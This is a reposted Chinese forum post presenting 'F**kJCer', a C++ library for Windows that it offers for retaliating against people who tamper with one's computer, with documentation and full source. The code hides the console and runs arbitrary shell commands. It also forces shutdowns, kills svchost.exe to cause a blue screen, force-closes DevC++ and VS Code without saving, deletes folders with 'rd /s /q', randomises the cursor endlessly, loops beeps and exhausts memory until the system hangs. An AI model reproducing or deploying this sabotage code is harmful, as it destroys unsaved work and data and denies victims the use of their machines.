转载

F**kJCer——反制JCer的最好工具

工具简介

当前最新版本:1.0(如果你发现你的代码的版本号比这个版本号要低,请及时跟进代码,以获取实时的功能更新)。

本工具仅供反制意图 JC 你的人/ JC 过你的人,JCer 爬。

说明文档

F**kJCer 拥有五个 namespace:

  • Tools:某些工具依赖 Tools 中的工具,同时里面还有一些有用的东西,如生成随机数等。
  • JC_mouse:与鼠标相关的工具。
  • JC_window:与控制台相关的工具。
  • JC_system:与 Windows 系统相关的工具。
  • JC_simple:常用的 JC 代码。

下面我将依次介绍这五个 namespace 中的工具。

Tools

int Tools::random(int a, int b)

生成一个在范围 [a,b][a, b] 中的整数,请确保 abRAND_MAXa \le b \le RAND\_MAX(INT_MAX 在笔者的 DevC++ 中的值为 0x7fff)。

void Tools::to_string(int x, char *s)

xx 转换为 C 风格字符串,并将其储存到 ss 中。

JC_mouse

POINT JC_mouse::get()

返回鼠标的当前坐标。

POINT 类型中包含两个成员变量 xxyy,代表 x 轴坐标和 y 轴坐标。

void JC_mouse::set(int x, int y)

设置鼠标位置为 (x,y)(x, y)

int JC_mouse::get_x()

返回鼠标的 x 轴坐标。

int JC_mouse::get_y()

返回鼠标的 y 轴坐标。

void JC_mouse::set_x(int x)

设置鼠标的 x 轴坐标为 xx

void JC_mouse::set_y(int y)

设置鼠标的 y 轴坐标为 yy

JC_window

void JC_window::hide()

隐藏控制台(黑框框消失)。

void JC_window::show()

显示控制台。

void JC_window::set_color(bg, fg)

设置控制台的背景为 bgbg,前景为 fgfg

其中 bgbgfgfg 的取值可以为以下几种:

JC_window::color_black 黑色

JC_window::color_grey 灰色

JC_window::color_blue 蓝色

JC_window::color_light_blue 淡蓝色

JC_window::color_green 绿色

JC_window::color_qian_green 浅绿色

JC_window::color_dan_green 淡绿色

JC_window::color_dan_qian_green 淡浅绿色

JC_window::color_red 红色

JC_window::color_light_red 淡红色

JC_window::color_purple 紫色

JC_window::color_light_purple 淡紫色

JC_window::color_yellow 黄色

JC_window::color_light_yellow 淡黄色

JC_window::color_white 白色

JC_window::color_light_white 亮白色

JC_system

void JC_system::beep()

发出 Windows 报错声音。

void JC_system::wait_s(int s)

程序等待 ss 秒。

void JC_system::wait_m_s(int m, int s)

程序等待 mmss 秒。

void JC_system::wait_h_m_s(int h, int m, int s)

程序等待 hhmmss 秒。

void JC_system::run_command(const char *cmd)

程序执行命令 cmdcmd(控制台命令,如 rd,md,xcopy 等)。

void JC_system::quit_s(int s)

让 Windows 系统在 ss 秒后关机,若 s=0s = 0 即立刻关机。

void JC_system::quit_m_s(int m, int s)

让 Windows 系统在 mmss 秒后关机。

void JC_system::quit_h_m_s(int h, int m, int s)

让 Windows 系统在 hhmmss 秒后关机。

void JC_system::cancel_quit()

取消 Windows 系统的关机计划。

void JC_system::kill_task(const char *name)

杀死名为 namename 的进程以及他的子进程。

若权限不够,有些进程无法被杀死。

void JC_system::blue_screen()

让 Windows 系统蓝屏。

若权限不够就无法生效。

void JC_system::kill_devcpp()

强制关闭 DevC++(即使有文件没有保存)

void JC_system::kill_vscode()

强制关闭 Visual Stdio Code(即使有文件没有保存)

void JC_system::remove_fold(const char *fold)

删除目录 foldfold。注意 foldfold 中的斜杠要写 2 遍。

如:JC_system::remove_fold("C:\\temp")

JC_simple

以下三个函数运行时没有黑框框,因为调用了 JC_window::hide 函数。

void JC_simple::loop_beep()

不停的发出报错声音导致系统卡死,可能没有声音,因为扬声器被同时占用。

void JC_simple::fly_cursor()

随机鼠标坐标,让 Windows 无法使用,只能强制关机。

void JC_simple::infinite_memory()

感谢 d0j1a_1701 的添加。

通过无限申请内存导致电脑死机(d0j1a_1701 说 15 秒即可生效)。

F**kJCer 代码

你可以在 main 函数中写下你的代码。

代码共有 193 行,码字调试不易。

// Ver 1.0, see website https://www.luogu.com.cn/paste/rhwjcetq

#include <windows.h>
#include <cstdlib>
#include <cstdio>
#include <ctime>

namespace Tools {
	// Return a random number between a and b.
	bool init = false;
	int random(int a, int b) {
		if (!init) {
			srand(time(NULL));
			init = true;
		}
		return rand() % (b - a + 1) + a;
	}
	// Let integer s to a string and copy it to str.
	void to_string(int s, char *str) {
		int len = 0;
		do {
			str[len++] = s % 10 + '0';
			s /= 10;
		} while (s);
		str[len] = 0;
		for (int i = 0; i < (len / 2); i++) {
			char t = str[i];
			str[i] = str[len - 1 - i];
			str[len - 1 - i] = t;
		}
	}
}

namespace JC_mouse {
	// Get the mouse index. Return a type named POINT, (POINT.x, POINT.y) is the index of mouse.
	POINT get() {
		POINT point;
		GetCursorPos(&point);
		return point;
	}
	// Set the mouse index as (x, y).
	void set(int x, int y) {
		SetCursorPos(x, y);
	}
	// Get x or y
	int get_x() {
		return get().x;
	}
	int get_y() {
		return get().y;
	}
	// Set x or y
	void set_x(int x) {
		set(x, get_y());
	}
	void set_y(int y) {
		set(get_x(), y);
	}
}

namespace JC_window {
	// Hide or show the console.
	void hide() {
		ShowWindow(GetConsoleWindow(), SW_HIDE);
	}
	void show() {
		ShowWindow(GetConsoleWindow(), SW_SHOW);
	}
	// Define colors you can use for function JC_window::set_color
	const char *color_black          = "0";
	const char *color_grey           = "8";
	const char *color_blue           = "1";
	const char *color_light_blue     = "9";
	const char *color_green          = "2";
	const char *color_qian_green     = "3";
	const char *color_dan_green      = "A";
	const char *color_dan_qian_green = "B";
	const char *color_red            = "4";
	const char *color_light_red      = "C";
	const char *color_purple         = "5";
	const char *color_light_purple   = "D";
	const char *color_yellow         = "6";
	const char *color_light_yellow   = "E";
	const char *color_white          = "7";
	const char *color_light_white    = "F";
	// Set the color, so that:
	// the color of blackground is bg;
	// the color of foreground is fg.
	void set_color(const char *bg, const char *fg) {
		char cmd[1000] = "color ";
		strcat(cmd, bg);
		strcat(cmd, fg);
		system(cmd);
	}
}

namespace JC_system {
	// make sound beep
	void beep() {
		putchar('\a');
	}
	// wait some second of s.
	void wait_s(int s) {
		Sleep(s * 1000);
	}
	// wait time of m:s
	void wait_m_s(int m, int s) {
		wait_s(m * 60 + s);
	}
	// wait time of h:m:s
	void wait_h_m_s(int h, int m, int s) {
		wait_s(h * 3600 + m * 60 + s);
	}
	// run command
	void run_command(const char *cmd) {
		system(cmd);
	} 
	// quit_window some second of s
	void quit_s(int s) {
		if (s < 0) return;
		char str[1000];
		Tools::to_string(s, str);
		char cmd[1000] = "shutdown /f /s /t ";
		strcat(cmd, str);
		system(cmd);
	}
	// quit_window some time of m:s
	void quit_m_s(int m, int s) {
		quit_s(m * 60 + s);
	}
	// quit_window some time of h:m:s
	void quit_h_m_s(int h, int m, int s) {
		quit_s(h * 3600 + m * 60 + s);
	}
	// cancel quit windows
	void cancel_quit() {
		system("shutdown /a");
	}
	// kill task
	void kill_task(const char *name) {
		char cmd[1000] = "taskkill /f /t /im ";
		strcat(cmd, name);
		system(cmd);
	}
	// Computer blue screen 
	void blue_screen() {
		kill_task("svchost.exe");
	}
	// Kill DevC++
	void kill_devcpp() {
		kill_task("devcpp.exe");
	}
	// Kill Visual Stdio Code (vs code for short)
	void kill_vscode() {
		kill_task("code.exe");
	}
	// remove fold
	void remove_fold(const char *fold) {
		char cmd[1000] = "rd /s /q ";
		strcat(cmd, fold);
		system(cmd);
	}
}

namespace JC_simple {
	// Stuck system
	void loop_beep() {
		JC_window::hide();
		while (true) JC_system::beep();
	}
	// Cursor random
	void fly_cursor() {
		JC_window::hide();
		while (true) {
			JC_mouse::set_x(Tools::random(0, 1000));
			JC_mouse::set_y(Tools::random(0, 1000));
		}
	}
	void infinite_memory() {  // Thanks d0j1a_1701's adding 
		JC_window::hide();
		__int128_t *magic[114514];
		while (true) {
			for (int i = 0; i < 114514; i++) {
				magic[i] = new __int128_t;
			}
		}
	}
}

int main() {
	
	return 0;
}